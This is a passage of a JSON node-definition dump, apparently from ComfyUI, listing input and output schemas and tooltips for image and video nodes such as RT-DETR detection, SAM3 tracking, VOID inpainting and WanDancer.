false, "api_node": false, "price_badge": null, "search_aliases": ["crop", "face crop", "bbox crop", "pose", "bounding box"], "essentials_category": null, "has_intermediate_output": false}, "ComfyMathExpression": {"input": {"required": {"expression": ["STRING", {"default": "a + b", "multiline": true}], "values": ["COMFY_AUTOGROW_V3", {"template": {"input": {"required": {"value": ["FLOAT,INT,BOOLEAN", {}]}}, "names": ["a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"], "min": 1}}]}}, "input_order": {"required": ["expression", "values"]}, "is_input_list": false, "output": ["FLOAT", "INT", "BOOLEAN"], "output_is_list": [false, false, false], "output_name": ["FLOAT", "INT", "BOOL"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "ComfyMathExpression", "display_name": "Math Expression", "description": "", "python_module": "comfy_extras.nodes_math", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["expression", "formula", "calculate", "calculator", "eval", "math"], "essentials_category": null, "has_intermediate_output": false}, "ComfyNumberConvert": {"input": {"required": {"value": ["INT,FLOAT,STRING,BOOLEAN", {"display_name": "value"}]}}, "input_order": {"required": ["value"]}, "is_input_list": false, "output": ["FLOAT", "INT"], "output_is_list": [false, false], "output_name": ["FLOAT", "INT"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "ComfyNumberConvert", "display_name": "Convert Number", "description": "", "python_module": "comfy_extras.nodes_number_convert", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["int to float", "float to int", "number convert", "int2float", "float2int", "cast", "parse number", "string to number", "bool to int"], "essentials_category": null, "has_intermediate_output": false}, "Painter": {"input": {"required": {"mask": ["STRING", {"widgetType": "PAINTER", "image_upload": true, "default": "", "socketless": true, "multiline": false}], "width": ["INT", {"hidden": true, "default": 512, "socketless": true, "min": 64, "max": 4096, "step": 64}], "height": ["INT", {"hidden": true, "default": 512, "socketless": true, "min": 64, "max": 4096, "step": 64}], "bg_color": ["COLOR", {"default": "#000000", "socketless": true}]}, "optional": {"image": ["IMAGE", {"tooltip": "Optional base image to paint over"}]}}, "input_order": {"required": ["mask", "width", "height", "bg_color"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE", "MASK"], "output_is_list": [false, false], "output_name": ["IMAGE", "MASK"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "Painter", "display_name": "Painter", "description": "", "python_module": "comfy_extras.nodes_painter", "category": "image", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": true}, "CurveEditor": {"input": {"required": {"curve": ["CURVE", {"default": {"points": [[0.0, 0.0], [1.0, 1.0]], "interpolation": "monotone_cubic"}, "socketless": true}]}, "optional": {"histogram": ["HISTOGRAM", {}]}}, "input_order": {"required": ["curve"], "optional": ["histogram"]}, "is_input_list": false, "output": ["CURVE"], "output_is_list": [false], "output_name": ["curve"], "output_tooltips": [null], "output_matchtypes": null, "name": "CurveEditor", "display_name": "Curve Editor", "description": "", "python_module": "comfy_extras.nodes_curve", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "ImageHistogram": {"input": {"required": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["image"]}, "is_input_list": false, "output": ["HISTOGRAM", "HISTOGRAM", "HISTOGRAM", "HISTOGRAM", "HISTOGRAM"], "output_is_list": [false, false, false, false, false], "output_name": ["rgb", "luminance", "red", "green", "blue"], "output_tooltips": [null, null, null, null, null], "output_matchtypes": null, "name": "ImageHistogram", "display_name": "Image Histogram", "description": "", "python_module": "comfy_extras.nodes_curve", "category": "utilities", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "LoadBackgroundRemovalModel": {"input": {"required": {"bg_removal_name": ["COMBO", {"tooltip": "The model used to remove backgrounds from images", "multiselect": false, "options": []}]}}, "input_order": {"required": ["bg_removal_name"]}, "is_input_list": false, "output": ["BACKGROUND_REMOVAL"], "output_is_list": [false], "output_name": ["bg_model"], "output_tooltips": [null], "output_matchtypes": null, "name": "LoadBackgroundRemovalModel", "display_name": "Load Background Removal Model", "description": "", "python_module": "comfy_extras.nodes_bg_removal", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RemoveBackground": {"input": {"required": {"bg_removal_model": ["BACKGROUND_REMOVAL", {"tooltip": "Background removal model used to generate the mask"}], "image": ["IMAGE", {"tooltip": "Input image to remove the background from"}]}}, "input_order": {"required": ["bg_removal_model", "image"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["mask"], "output_tooltips": ["Generated foreground mask"], "output_matchtypes": null, "name": "RemoveBackground", "display_name": "Remove Background", "description": "Generates a foreground mask to remove the background from an image using a background removal model.", "python_module": "comfy_extras.nodes_bg_removal", "category": "image/background removal", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "RTDETR_detect": {"input": {"required": {"model": ["MODEL", {"display_name": "model"}], "image": ["IMAGE", {"display_name": "image"}], "threshold": ["FLOAT", {"display_name": "threshold", "default": 0.5}], "class_name": ["COMBO", {"tooltip": "Filter detections by class. Set to 'all' to disable filtering.", "default": "all", "multiselect": false, "options": ["all", "person", "bicycle", "car", "motorcycle", "airplane", "bus", "train", "truck", "boat", "traffic light", "fire hydrant", "stop sign", "parking meter", "bench", "bird", "cat", "dog", "horse", "sheep", "cow", "elephant", "bear", "zebra", "giraffe", "backpack", "umbrella", "handbag", "tie", "suitcase", "frisbee", "skis", "snowboard", "sports ball", "kite", "baseball bat", "baseball glove", "skateboard", "surfboard", "tennis racket", "bottle", "wine glass", "cup", "fork", "knife", "spoon", "bowl", "banana", "apple", "sandwich", "orange", "broccoli", "carrot", "hot dog", "pizza", "donut", "cake", "chair", "couch", "potted plant", "bed", "dining table", "toilet", "tv", "laptop", "mouse", "remote", "keyboard", "cell phone", "microwave", "oven", "toaster", "sink", "refrigerator", "book", "clock", "vase", "scissors", "teddy bear", "hair drier", "toothbrush"]}], "max_detections": ["INT", {"display_name": "max_detections", "tooltip": "Maximum number of detections to return per image. In order of descending confidence score.", "default": 100}]}}, "input_order": {"required": ["model", "image", "threshold", "class_name", "max_detections"]}, "is_input_list": false, "output": ["BOUNDING_BOX"], "output_is_list": [false], "output_name": ["bboxes"], "output_tooltips": [null], "output_matchtypes": null, "name": "RTDETR_detect", "display_name": "Run Real-Time Detection (RT-DETR)", "description": "", "python_module": "comfy_extras.nodes_rtdetr", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bbox", "bounding box", "object detection", "coco"], "essentials_category": null, "has_intermediate_output": false}, "DrawBBoxes": {"input": {"required": {"bboxes": ["BOUNDING_BOX", {"default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}]}, "optional": {"image": ["IMAGE", {}]}}, "input_order": {"required": ["bboxes"], "optional": ["image"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["out_image"], "output_tooltips": [null], "output_matchtypes": null, "name": "DrawBBoxes", "display_name": "Draw BBoxes", "description": "", "python_module": "comfy_extras.nodes_rtdetr", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["bbox", "bounding box", "object detection", "rt_detr", "visualize detections", "coco"], "essentials_category": null, "has_intermediate_output": false}, "FrameInterpolationModelLoader": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Select a frame interpolation model to load. Models must be placed in the 'frame_interpolation' folder.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["INTERP_MODEL"], "output_is_list": [false], "output_name": ["INTERP_MODEL"], "output_tooltips": [null], "output_matchtypes": null, "name": "FrameInterpolationModelLoader", "display_name": "Load Frame Interpolation Model", "description": "", "python_module": "comfy_extras.nodes_frame_interpolation", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "FrameInterpolate": {"input": {"required": {"interp_model": ["INTERP_MODEL", {}], "images": ["IMAGE", {}], "multiplier": ["INT", {"default": 2, "min": 2, "max": 16}]}}, "input_order": {"required": ["interp_model", "images", "multiplier"]}, "is_input_list": false, "output": ["IMAGE"], "output_is_list": [false], "output_name": ["IMAGE"], "output_tooltips": [null], "output_matchtypes": null, "name": "FrameInterpolate", "display_name": "Run Frame Interpolation Model", "description": "", "python_module": "comfy_extras.nodes_frame_interpolation", "category": "video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["rife", "film", "frame interpolation", "slow motion", "interpolate frames", "vfi"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_Detect": {"input": {"required": {"model": ["MODEL", {"display_name": "model"}], "image": ["IMAGE", {"display_name": "image"}], "threshold": ["FLOAT", {"display_name": "threshold", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "refine_iterations": ["INT", {"display_name": "refine_iterations", "tooltip": "SAM decoder refinement passes (0=use raw detector masks)", "default": 2, "min": 0, "max": 5}], "individual_masks": ["BOOLEAN", {"display_name": "individual_masks", "tooltip": "Output per-object masks instead of union", "default": false}]}, "optional": {"conditioning": ["CONDITIONING", {"display_name": "conditioning", "tooltip": "Text conditioning from CLIPTextEncode"}], "bboxes": ["BOUNDING_BOX", {"display_name": "bboxes", "tooltip": "Bounding boxes to segment within", "default": {"x": 0, "y": 0, "width": 512, "height": 512}, "socketless": true, "forceInput": true}], "positive_coords": ["STRING", {"display_name": "positive_coords", "tooltip": "Positive point prompts as JSON [{\"x\": int, \"y\": int}, ...] (pixel coords)", "forceInput": true, "multiline": false}], "negative_coords": ["STRING", {"display_name": "negative_coords", "tooltip": "Negative point prompts as JSON [{\"x\": int, \"y\": int}, ...] (pixel coords)", "forceInput": true, "multiline": false}]}}, "input_order": {"required": ["model", "image", "threshold", "refine_iterations", "individual_masks"], "optional": ["conditioning", "bboxes", "positive_coords", "negative_coords"]}, "is_input_list": false, "output": ["MASK", "BOUNDING_BOX"], "output_is_list": [false, false], "output_name": ["masks", "bboxes"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SAM3_Detect", "display_name": "SAM3 Detect", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sam3", "segment anything", "open vocabulary", "text detection", "segment"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_VideoTrack": {"input": {"required": {"images": ["IMAGE", {"display_name": "images", "tooltip": "Video frames as batched images"}], "model": ["MODEL", {"display_name": "model"}], "detection_threshold": ["FLOAT", {"display_name": "detection_threshold", "tooltip": "Score threshold for text-prompted detection.", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.01}], "max_objects": ["INT", {"display_name": "max_objects", "tooltip": "Max tracked objects. Initial masks count toward this limit. 0 uses the internal cap of 64.", "default": 4, "min": 0, "max": 64}], "detect_interval": ["INT", {"display_name": "detect_interval", "tooltip": "Run detection every N frames (1=every frame). Higher values save compute.", "default": 1, "min": 1}]}, "optional": {"initial_mask": ["MASK", {"display_name": "initial_mask", "tooltip": "Mask(s) for the first frame to track (one per object)"}], "conditioning": ["CONDITIONING", {"display_name": "conditioning", "tooltip": "Text conditioning for detecting new objects during tracking"}]}}, "input_order": {"required": ["images", "model", "detection_threshold", "max_objects", "detect_interval"], "optional": ["initial_mask", "conditioning"]}, "is_input_list": false, "output": ["SAM3_TRACK_DATA"], "output_is_list": [false], "output_name": ["track_data"], "output_tooltips": [null], "output_matchtypes": null, "name": "SAM3_VideoTrack", "display_name": "Run SAM3 Video Track", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": ["sam3", "video", "track", "propagate"], "essentials_category": null, "has_intermediate_output": false}, "SAM3_TrackPreview": {"input": {"required": {"track_data": ["SAM3_TRACK_DATA", {"display_name": "track_data"}], "opacity": ["FLOAT", {"display_name": "opacity", "default": 0.5, "min": 0.0, "max": 1.0, "step": 0.05}], "fps": ["FLOAT", {"display_name": "fps", "default": 24.0, "min": 1.0, "max": 120.0, "step": 1.0}]}, "optional": {"images": ["IMAGE", {"display_name": "images"}]}, "hidden": {"prompt": ["PROMPT"], "extra_pnginfo": ["EXTRA_PNGINFO"]}}, "input_order": {"required": ["track_data", "opacity", "fps"], "optional": ["images"], "hidden": ["prompt", "extra_pnginfo"]}, "is_input_list": false, "output": [], "output_is_list": [], "output_name": [], "output_tooltips": [], "output_matchtypes": null, "name": "SAM3_TrackPreview", "display_name": "SAM3 Track Preview", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": true, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SAM3_TrackToMask": {"input": {"required": {"track_data": ["SAM3_TRACK_DATA", {"display_name": "track_data"}], "object_indices": ["STRING", {"display_name": "object_indices", "tooltip": "Comma-separated object indices to include (e.g. '0,2,3'). Empty = all objects.", "default": "", "multiline": false}]}}, "input_order": {"required": ["track_data", "object_indices"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["masks"], "output_tooltips": [null], "output_matchtypes": null, "name": "SAM3_TrackToMask", "display_name": "SAM3 Track to Mask", "description": "", "python_module": "comfy_extras.nodes_sam3", "category": "image/detection", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanSCAILToVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 512, "min": 32, "max": 16384, "step": 32}], "height": ["INT", {"default": 896, "min": 32, "max": 16384, "step": 32}], "length": ["INT", {"default": 81, "min": 1, "max": 16384, "step": 4}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 4096}], "pose_strength": ["FLOAT", {"tooltip": "Strength of the pose latent.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}], "pose_start": ["FLOAT", {"tooltip": "Start step of the pose conditioning.", "default": 0.0, "min": 0.0, "max": 1.0, "step": 0.01}], "pose_end": ["FLOAT", {"tooltip": "End step of the pose conditioning.", "default": 1.0, "min": 0.0, "max": 1.0, "step": 0.01}], "video_frame_offset": ["INT", {"tooltip": "Cumulative output frame this chunk begins at. Wire from the previous chunk's video_frame_offset output.", "default": 0, "min": 0, "max": 16384, "step": 1}], "previous_frame_count": ["INT", {"tooltip": "Tail frames of previous_frames to anchor. SCAIL-2 trained at 5 (81-frame chunks, 76-frame step).", "default": 5, "min": 1, "max": 16384, "step": 4}]}, "optional": {"pose_video": ["IMAGE", {"tooltip": "Video used for pose conditioning. Will be downscaled to half the resolution of the main video."}], "pose_video_mask": ["IMAGE", {"tooltip": "SCAIL-2 only. Colored per-identity SAM3 mask video at the same resolution as pose_video."}], "replacement_mode": ["BOOLEAN", {"tooltip": "SCAIL-2 only. False = Animation Mode (pose_video_mask should have black background). True = Replacement Mode (pose_video_mask should have white background).", "default": false}], "reference_image": ["IMAGE", {"tooltip": "Reference image. The first image is the primary reference (composite all identities onto it). SCAIL-2: extra batch images are used as additional views (back view, close-up, occluded background), each needing a matching reference_image_mask in that identity's color."}], "reference_image_mask": ["IMAGE", {"tooltip": "SCAIL-2 only. Colored reference mask, batch matching reference_image (first = primary reference mask, rest = identity masks for the additional reference_image)."}], "clip_vision_output": ["CLIP_VISION_OUTPUT", {"tooltip": "CLIP vision features for conditioning. Model is trained with stretch resize to aspect ratio."}], "previous_frames": ["IMAGE", {"tooltip": "SCAIL-2 only. Full decoded output of the previous chunk. Only the last previous_frame_count are used as the extension anchor."}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length", "batch_size", "pose_strength", "pose_start", "pose_end", "video_frame_offset", "previous_frame_count"], "optional": ["pose_video", "pose_video_mask", "replacement_mode", "reference_image", "reference_image_mask", "clip_vision_output", "previous_frames"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT", "INT"], "output_is_list": [false, false, false, false], "output_name": ["positive", "negative", "latent", "video_frame_offset"], "output_tooltips": [null, null, "Empty latent of the generation size.", "Adjusted offset + length. Wire into the next chunk."], "output_matchtypes": null, "name": "WanSCAILToVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_scail", "category": "model/conditioning/wan/scail", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "SCAIL2ColoredMask": {"input": {"required": {"driving_track_data": ["SAM3_TRACK_DATA", {"tooltip": "SAM3 track of the driving pose video. Will be rendered into the pose_video_mask output."}], "object_indices": ["STRING", {"tooltip": "Comma-separated list of person indices to include (e.g. '0,2,3'). Applied to both reference and pose video masks. Empty = all.", "default": "", "multiline": false}], "sort_by": ["COMBO", {"tooltip": "Order in which palette colors are assigned to the tracked objects (applied to both reference and pose video so each identity keeps the same color). Objects that appear in earlier frames always come first; within a frame, left_to_right = leftmost object (by centroid at first appearance) gets the first color, area = biggest object (by mask area at first appearance) gets the first color; none = keep SAM3's order.", "default": "left_to_right", "multiselect": false, "options": ["none", "left_to_right", "area"]}], "replacement_mode": ["BOOLEAN", {"tooltip": "False = Animation Mode (pose_video_mask has black background, reference_image_mask has white background). True = Replacement Mode (pose_video_mask has white background, reference_image_mask has black background).", "default": false}]}, "optional": {"ref_track_data": ["SAM3_TRACK_DATA,MASK", {"display_name": "reference_masks", "tooltip": "SAM3 track of the reference image(s) (one identity per object, colored in batch order), or a plain MASK of the reference subject (rendered as a single identity)."}]}}, "input_order": {"required": ["driving_track_data", "object_indices", "sort_by", "replacement_mode"], "optional": ["ref_track_data"]}, "is_input_list": false, "output": ["IMAGE", "IMAGE"], "output_is_list": [false, false], "output_name": ["pose_video_mask", "reference_image_mask"], "output_tooltips": [null, null], "output_matchtypes": null, "name": "SCAIL2ColoredMask", "display_name": "Create SCAIL-2 Colored Mask", "description": "", "python_module": "comfy_extras.nodes_scail", "category": "model/conditioning/wan/scail", "output_node": false, "deprecated": false, "experimental": true, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "OpticalFlowLoader": {"input": {"required": {"model_name": ["COMBO", {"tooltip": "Optical flow model to load. Files must be placed in the 'optical_flow' folder. Today only torchvision's raft_large.pth is supported.", "multiselect": false, "options": []}]}}, "input_order": {"required": ["model_name"]}, "is_input_list": false, "output": ["OPTICAL_FLOW"], "output_is_list": [false], "output_name": ["OPTICAL_FLOW"], "output_tooltips": [null], "output_matchtypes": null, "name": "OpticalFlowLoader", "display_name": "Load Optical Flow Model", "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/loaders", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDQuadmaskPreprocess": {"input": {"required": {"mask": ["MASK", {}], "dilate_width": ["INT", {"tooltip": "Dilation radius for the primary mask region (0 = no dilation)", "default": 0, "min": 0, "max": 50, "step": 1}]}}, "input_order": {"required": ["mask", "dilate_width"]}, "is_input_list": false, "output": ["MASK"], "output_is_list": [false], "output_name": ["quadmask"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDQuadmaskPreprocess", "display_name": "VOID Quadmask Preprocessor", "description": "", "python_module": "comfy_extras.nodes_void", "category": "image/mask", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDInpaintConditioning": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "video": ["IMAGE", {"tooltip": "Source video frames [T, H, W, 3]"}], "quadmask": ["MASK", {"tooltip": "Preprocessed quadmask from VOIDQuadmaskPreprocess [T, H, W]"}], "width": ["INT", {"default": 672, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 384, "min": 16, "max": 16384, "step": 8}], "length": ["INT", {"tooltip": "Number of pixel frames to process. For CogVideoX-Fun-V1.5 (patch_size_t=2), latent_t must be even \u2014 lengths that produce odd latent_t are rounded down (e.g. 49 \u2192 45).", "default": 45, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["positive", "negative", "vae", "video", "quadmask", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, null], "output_matchtypes": null, "name": "VOIDInpaintConditioning", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/conditioning/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDWarpedNoise": {"input": {"required": {"optical_flow": ["OPTICAL_FLOW", {"tooltip": "Optical flow model from OpticalFlowLoader (RAFT-large)."}], "video": ["IMAGE", {"tooltip": "Pass 1 output video frames [T, H, W, 3]"}], "width": ["INT", {"default": 672, "min": 16, "max": 16384, "step": 8}], "height": ["INT", {"default": 384, "min": 16, "max": 16384, "step": 8}], "length": ["INT", {"tooltip": "Number of pixel frames. Rounded down to make latent_t even (patch_size_t=2 requirement), e.g. 49 \u2192 45.", "default": 45, "min": 1, "max": 16384, "step": 1}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["optical_flow", "video", "width", "height", "length", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["warped_noise"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDWarpedNoise", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/latent/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDWarpedNoiseSource": {"input": {"required": {"warped_noise": ["LATENT", {"tooltip": "Warped noise latent from VOIDWarpedNoise"}]}}, "input_order": {"required": ["warped_noise"]}, "is_input_list": false, "output": ["NOISE"], "output_is_list": [false], "output_name": ["NOISE"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDWarpedNoiseSource", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/latent/void", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "VOIDSampler": {"input": {"required": {}}, "input_order": {"required": []}, "is_input_list": false, "output": ["SAMPLER"], "output_is_list": [false], "output_name": ["SAMPLER"], "output_tooltips": [null], "output_matchtypes": null, "name": "VOIDSampler", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_void", "category": "model/sampling/samplers", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerVideo": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "vae": ["VAE", {}], "width": ["INT", {"default": 480, "min": 16, "max": 16384, "step": 16}], "height": ["INT", {"default": 832, "min": 16, "max": 16384, "step": 16}], "length": ["INT", {"tooltip": "The number of frames in the generated video. Should stay 149 for WanDancer.", "default": 149, "min": 1, "max": 16384, "step": 4}]}, "optional": {"clip_vision_output": ["CLIP_VISION_OUTPUT", {"tooltip": "The CLIP vision embeds for the first frame."}], "clip_vision_output_ref": ["CLIP_VISION_OUTPUT", {"tooltip": "The CLIP vision embeds for the reference image."}], "start_image": ["IMAGE", {"tooltip": "The initial image(s) to be encoded, can be any number of frames."}], "mask": ["MASK", {"tooltip": "Image conditioning mask for the start image(s). White is kept, black is generated. Used for the local generations."}], "audio_encoder_output": ["AUDIO_ENCODER_OUTPUT", {}]}}, "input_order": {"required": ["positive", "negative", "vae", "width", "height", "length"], "optional": ["clip_vision_output", "clip_vision_output_ref", "start_image", "mask", "audio_encoder_output"]}, "is_input_list": false, "output": ["CONDITIONING", "CONDITIONING", "LATENT"], "output_is_list": [false, false, false], "output_name": ["positive", "negative", "latent"], "output_tooltips": [null, null, "Empty latent."], "output_matchtypes": null, "name": "WanDancerVideo", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "model/conditioning/wan/dancer", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerEncodeAudio": {"input": {"required": {"audio": ["AUDIO", {}], "video_frames": ["INT", {"default": 149, "min": 1, "max": 16384, "step": 4}], "audio_inject_scale": ["FLOAT", {"tooltip": "The scale for the audio features when injected into the video model.", "default": 1.0, "min": 0.0, "max": 10.0, "step": 0.01}]}}, "input_order": {"required": ["audio", "video_frames", "audio_inject_scale"]}, "is_input_list": false, "output": ["AUDIO_ENCODER_OUTPUT", "STRING"], "output_is_list": [false, false], "output_name": ["audio_encoder_output", "fps_string"], "output_tooltips": [null, "The calculated fps based on the audio length and the number of video frames. Used in the prompt."], "output_matchtypes": null, "name": "WanDancerEncodeAudio", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "model/conditioning/wan/dancer", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerPadKeyframes": {"input": {"required": {"images": ["IMAGE", {}], "segment_length": ["INT", {"tooltip": "Length of this segment (usually 149 frames)", "default": 149, "min": 1, "max": 10000}], "segment_index": ["INT", {"tooltip": "Which segment this is (0 for first, 1 for second, etc.)", "default": 0, "min": 0, "max": 100}], "audio": ["AUDIO", {"tooltip": "Audio to calculate total output frames from and extract segment audio."}]}}, "input_order": {"required": ["images", "segment_length", "segment_index", "audio"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "AUDIO"], "output_is_list": [false, false, false], "output_name": ["keyframes_sequence", "keyframes_mask", "audio_segment"], "output_tooltips": ["Padded keyframe sequence", "Mask indicating valid frames", "Audio segment for this video segment"], "output_matchtypes": null, "name": "WanDancerPadKeyframes", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "image/video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "WanDancerPadKeyframesList": {"input": {"required": {"images": ["IMAGE", {}], "segment_length": ["INT", {"tooltip": "Length of each segment (usually 149 frames)", "default": 149, "min": 1, "max": 10000}], "num_segments": ["INT", {"tooltip": "How many padded segments to emit as lists.", "default": 1, "min": 1, "max": 100}], "audio": ["AUDIO", {"tooltip": "Audio to slice for each emitted segment."}]}}, "input_order": {"required": ["images", "segment_length", "num_segments", "audio"]}, "is_input_list": false, "output": ["IMAGE", "MASK", "AUDIO"], "output_is_list": [true, true, true], "output_name": ["keyframes_sequence", "keyframes_mask", "audio_segment"], "output_tooltips": ["Padded keyframe sequences", "Masks indicating valid frames", "Audio segment for each video segment"], "output_matchtypes": null, "name": "WanDancerPadKeyframesList", "display_name": null, "description": "", "python_module": "comfy_extras.nodes_wandancer", "category": "image/video", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "EmptyHiDreamO1LatentImage": {"input": {"required": {"width": ["INT", {"default": 2048, "min": 64, "max": 4096, "step": 32}], "height": ["INT", {"default": 2048, "min": 64, "max": 4096, "step": 32}], "batch_size": ["INT", {"default": 1, "min": 1, "max": 64}]}}, "input_order": {"required": ["width", "height", "batch_size"]}, "is_input_list": false, "output": ["LATENT"], "output_is_list": [false], "output_name": ["LATENT"], "output_tooltips": [null], "output_matchtypes": null, "name": "EmptyHiDreamO1LatentImage", "display_name": "Empty HiDream-O1 Latent Image", "description": "Empty pixel-space latent for HiDream-O1-Image. The model was trained at ~4 megapixels; lower resolutions go off-distribution and quality regresses noticeably. Trained resolutions: 2048x2048, 2304x1728, 1728x2304, 2560x1440, 1440x2560, 2496x1664, 1664x2496, 3104x1312, 1312x3104, 2304x1792, 1792x2304.", "python_module": "comfy_extras.nodes_hidream_o1", "category": "model/latent/hidream", "output_node": false, "deprecated": false, "experimental": false, "dev_only": false, "api_node": false, "price_badge": null, "search_aliases": null, "essentials_category": null, "has_intermediate_output": false}, "HiDreamO1ReferenceImages": {"input": {"required": {"positive": ["CONDITIONING", {}], "negative": ["CONDITIONING", {}], "images": ["COMFY_AUTOGROW_V3", {"tooltip": "Reference images. 1 image = instruction edit; 2-10 images = multi reference.", "template": {"input": {"required": {"image": ["IMAGE", {}]}}, "names": ["image_1", "image_2", "image_3", "image_4", "image_5", "image_6", 